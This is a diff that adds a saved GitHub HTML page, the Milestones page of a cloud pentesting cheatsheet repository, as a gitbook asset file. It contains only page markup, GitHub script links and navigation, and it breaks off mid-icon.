    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    .gitbook/assets/milestones
     1 + 
     2 + 
     3 + 
     4 + 
     5 + 
     6 + 
     7 + 
     8 +<!DOCTYPE html>
     9 +<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system">
     10 + <head>
     11 + <meta charset="utf-8">
     12 + <link rel="dns-prefetch" href="https://github.githubassets.com">
     13 + <link rel="dns-prefetch" href="https://avatars.githubusercontent.com">
     14 + <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com">
     15 + <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
     16 + <link rel="preconnect" href="https://github.githubassets.com" crossorigin>
     17 + <link rel="preconnect" href="https://avatars.githubusercontent.com">
     18 + 
     19 +
     20 + 
     21 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-8cafbcbd78f4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-31dc14e38457.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-71414d661fe2.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-ba96c7f1d660.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-7471c22cdb6a.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-80180bed15ed.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-e89b9cdecb75.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-77f15e9154df.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-f598f8dd18ae.css" />
     22 +
     23 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-primitives-fb1d51d1ef66.css" />
     24 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-60c5e476b0dc.css" />
     25 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-5f348e729995.css" />
     26 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-d534e5531df6.css" />
     27 +
     28 + 
     29 +
     30 + 
     31 + <script type="application/json" id="client-env">{"locale":"en","featureFlags":["failbot_handle_non_errors","fix_react_title","geojson_azure_maps","image_metric_tracking","turbo_experiment_risky","use_scroll_restoration"]}</script>
     32 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-c22ccac186ce.js"></script>
     33 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-ae93d3fba59c.js"></script>
     34 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-89ab267313f8.js"></script>
     35 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-0eb35af480ad.js"></script>
     36 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-64d590970fa6.js"></script>
     37 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script>
     38 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-99e288659d4f.js"></script>
     39 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script>
     40 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-5b3870-9b38c0812424.js"></script>
     41 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script>
     42 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-8873b7-5771678648e0.js"></script>
     43 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-e7a1e2-49659aed34cc.js"></script>
     44 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-d39383c204f1.js"></script>
     45 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-4973db03d07f.js"></script>
     46 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script>
     47 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-fd3c22610e40.js"></script>
     48 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-b1fdd7158cf0.js"></script>
     49 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script>
     50 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-1f4793023fcd.js"></script>
     51 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-e1e33bfc0b7e.js"></script>
     52 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script>
     53 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-7a8e2b-f036384374ea.js"></script>
     54 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-126aeb5c22c9.js"></script>
     55 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-079b43-c46fa3ecf26e.js"></script>
     56 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-050ad6637d58.js"></script>
     57 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-2e2258-b84eab1b8924.js"></script>
     58 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-f22ac6b94445.js"></script>
     59 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-3460172f1b1f.js"></script>
     60 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-6cc7b3714f97.js"></script>
     61 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js"></script>
     62 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f57687007bfc.js"></script>
     63 +
     64 + 
     65 + <title>Milestones - dafthack/CloudPentestCheatsheets · GitHub</title>
     66 + 
     67 + 
     68 + 
     69 + <meta name="route-pattern" content="/:user_id/:repository/milestones(.:format)">
     70 + 
     71 +
     72 + <meta name="current-catalog-service-hash" content="81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114">
     73 + 
     74 + 
     75 + <meta name="request-id" content="EB7B:0571:747903:9AB7B0:64B2446A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f9941b8be55e6d25cd856502e3e6df1289962afa7dad5fd56e5b800a5e4029bc" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQjdCOjA1NzE6NzQ3OTAzOjlBQjdCMDo2NEIyNDQ2QSIsInZpc2l0b3JfaWQiOiI5MTA2MDAwMzYxOTg1MDMzMzIyIiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="7abac8ad29b849380932748fbad3a544d53c80261f33f8f6311b023361f6e68a" data-pjax-transient="true"/>
     76 + 
     77 + 
     78 + <meta name="hovercard-subject-tag" content="repository:271670262" data-turbo-transient>
     79 + 
     80 + 
     81 + <meta name="github-keyboard-shortcuts" content="repository" data-turbo-transient="true" />
     82 +
     83 + 
     84 + <meta name="selected-link" value="repo_issues" data-turbo-transient>
     85 + <link rel="assets" href="https://github.githubassets.com/">
     86 + 
     87 + <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY">
     88 + <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
     89 + <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
     90 + <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
     91 + <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
     92 + 
     93 +<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
     94 + 
     95 + <meta name="analytics-location" content="/&lt;user-name&gt;/&lt;repo-name&gt;/milestones/index" data-turbo-transient="true" />
     96 + 
     97 +
     98 + 
     99 + 
     100 + 
     101 + 
     102 +
     103 + 
     104 + <meta name="user-login" content="">
     105 + 
     106 +
     107 + 
     108 + <meta name="viewport" content="width=device-width">
     109 +
     110 + <meta name="description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Milestones - dafthack/CloudPentestCheatsheets">
     111 + <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
     112 + <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
     113 + <meta property="fb:app_id" content="1401488693436528">
     114 + <meta name="apple-itunes-app" content="app-id=1477376905, app-argument=https://github.com/dafthack/CloudPentestCheatsheets/milestones" />
     115 + <meta name="twitter:image:src" content="https://opengraph.githubassets.com/a09dc13fdfc5774a92a02897e9f6ee35973eb98e37350526149fc8179a8fbfab/dafthack/CloudPentestCheatsheets" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Milestones - dafthack/CloudPentestCheatsheets" /><meta name="twitter:description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Milestones - dafthack/CloudPentestCheatsheets" />
     116 + <meta property="og:image" content="https://opengraph.githubassets.com/a09dc13fdfc5774a92a02897e9f6ee35973eb98e37350526149fc8179a8fbfab/dafthack/CloudPentestCheatsheets" /><meta property="og:image:alt" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Milestones - dafthack/CloudPentestCheatsheets" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Milestones - dafthack/CloudPentestCheatsheets" /><meta property="og:url" content="https://github.com/dafthack/CloudPentestCheatsheets" /><meta property="og:description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Milestones - dafthack/CloudPentestCheatsheets" />
     117 +
     118 + 
     119 + 
     120 + 
     121 + <meta name="hostname" content="github.com">
     122 + 
     123 + 
     124 + 
     125 + <meta name="expected-hostname" content="github.com">
     126 + 
     127 + <meta name="enabled-features" content="FAILBOT_HANDLE_NON_ERRORS,FIX_REACT_TITLE,GEOJSON_AZURE_MAPS,IMAGE_METRIC_TRACKING,TURBO_EXPERIMENT_RISKY,USE_SCROLL_RESTORATION">
     128 + 
     129 + 
     130 + <meta http-equiv="x-pjax-version" content="ad8a8ed1abba213ec83bd22e07dfcc652ae17ddd15765f4f78fb8ea7c4261976" data-turbo-track="reload">
     131 + <meta http-equiv="x-pjax-csp-version" content="0db263f9a873141d8256f783c35f244c06d490aacc3b680f99794dd8fd59fb59" data-turbo-track="reload">
     132 + <meta http-equiv="x-pjax-css-version" content="a0b5f0d58392b9075ba3ee7056b5c705d251144fea1e1bdc488d87cea58d2353" data-turbo-track="reload">
     133 + <meta http-equiv="x-pjax-js-version" content="4c0dff8d823d88495ced2ebe7100844067814a247de2fd0bf4986d8f47af3222" data-turbo-track="reload">
     134 + 
     135 + <meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
     136 + 
     137 +
     138 + <meta name="go-import" content="github.com/dafthack/CloudPentestCheatsheets git https://github.com/dafthack/CloudPentestCheatsheets.git">
     139 + 
     140 + <meta name="octolytics-dimension-user_id" content="2296229" /><meta name="octolytics-dimension-user_login" content="dafthack" /><meta name="octolytics-dimension-repository_id" content="271670262" /><meta name="octolytics-dimension-repository_nwo" content="dafthack/CloudPentestCheatsheets" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="271670262" /><meta name="octolytics-dimension-repository_network_root_nwo" content="dafthack/CloudPentestCheatsheets" />
     141 + 
     142 + 
     143 + 
     144 + <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
     145 + 
     146 + 
     147 + <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
     148 + 
     149 + <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
     150 + 
     151 + <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
     152 + 
     153 + <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000">
     154 + <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png">
     155 + <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
     156 + 
     157 +<meta name="theme-color" content="#1e2327">
     158 +<meta name="color-scheme" content="light dark" />
     159 + 
     160 + 
     161 + <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
     162 + 
     163 + </head>
     164 + 
     165 + <body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
     166 + <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
     167 +
     168 + 
     169 + 
     170 + <div class="position-relative js-header-wrapper ">
     171 + <a href="#start-of-content" class="px-2 py-4 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a>
     172 + <span data-view-component="true" class="progress-pjax-loader Progress position-fixed width-full">
     173 + <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span>
     174 +</span>
     175 +
     176 + 
     177 + 
     178 +
     179 + 
     180 +
     181 + 
     182 +
     183 + 
     184 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_memoize_dist_esm_in-687f35-d131f0b6de8e.js"></script>
     185 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-2638decb9ee5.js"></script>
     186 +<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner" data-color-mode=light data-light-theme=light data-dark-theme=dark>
     187 + <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation">
     188 + <span class="d-none">Toggle navigation</span>
     189 + </button>
     190 + 
     191 + <div class=" d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1">
     192 + <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto">
     193 + <a class="mr-lg-3 color-fg-inherit flex-order-2" href="https://github.com/" aria-label="Homepage" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark">
     194 + <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github">
     195 + <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path>
     196 +</svg>
     197 + </a>
     198 + 
     199 + <div class="flex-1">
     200 + <a href="/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fmilestones%2Findex&amp;source=header-repo"
     201 + class="d-inline-block d-lg-none flex-order-1 f5 no-underline border color-border-default rounded-2 px-2 py-1 color-fg-inherit"
     202 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/milestones&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="079e45bce6608b041d4b9bc01b0d27872dcb373386275e01b04290763ab5f32a"
     203 + >
     204 + Sign&nbsp;up
     205 + </a>
     206 + </div>
     207 + 
     208 + <div class="flex-1 flex-order-2 text-right">
     209 + <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span class="Button-content">
     210 + <span class="Button-label"><div class="HeaderMenu-toggle-bar rounded my-1"></div>
     211 + <div class="HeaderMenu-toggle-bar rounded my-1"></div>
     212 + <div class="HeaderMenu-toggle-bar rounded my-1"></div></span>
     213 + </span>
     214 +</button>
     215 + </div>
     216 + </div>
     217 + 
     218 + 
     219 + <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0">
     220 + <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0">
     221 + <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global">
     222 + <ul class="d-lg-flex list-style-none">
     223 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     224 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     225 + Product
     226 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     227 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     228 +</svg>
     229 + </button>
     230 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
     231 + <div class="px-lg-4 border-lg-right mb-4 mb-lg-0 pr-lg-7">
     232 + <ul class="list-style-none f5" >
     233 + <li>
     234 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Actions&quot;,&quot;label&quot;:&quot;ref_cta:Actions;&quot;}" href="/features/actions">
     235 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3">
     236 + <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path>
     237 +</svg>
     238 + <div>
     239 + <div class="color-fg-default h4">Actions</div>
     240 + Automate any workflow
     241 + </div>
     242 + 
     243 +
     244 +</a></li>
     245 + 
     246 + <li>
     247 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Packages&quot;,&quot;label&quot;:&quot;ref_cta:Packages;&quot;}" href="/features/packages">
     248 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3">
     249 + <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path>
     250 +</svg>
     251 + <div>
     252 + <div class="color-fg-default h4">Packages</div>
     253 + Host and manage packages
     254 + </div>
     255 + 
     256 +
     257 +</a></li>
     258 + 
     259 + <li>
     260 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Security&quot;,&quot;label&quot;:&quot;ref_cta:Security;&quot;}" href="/features/security">
     261 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3">
     262 + <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path>
     263 +</svg>
     264 + <div>
     265 + <div class="color-fg-default h4">Security</div>
     266 + Find and fix vulnerabilities
     267 + </div>
     268 + 
     269 +
     270 +</a></li>
     271 + 
     272 + <li>
     273 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Codespaces&quot;,&quot;label&quot;:&quot;ref_cta:Codespaces;&quot;}" href="/features/codespaces">
     274 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3">
     275 + <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path>
     276 +</svg>
     277 + <div>
     278 + <div class="color-fg-default h4">Codespaces</div>
     279 + Instant dev environments
     280 + </div>
     281 + 
     282 +
     283 +</a></li>
     284 + 
     285 + <li>
     286 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Copilot&quot;,&quot;label&quot;:&quot;ref_cta:Copilot;&quot;}" href="/features/copilot">
     287 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3">
     288 + <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 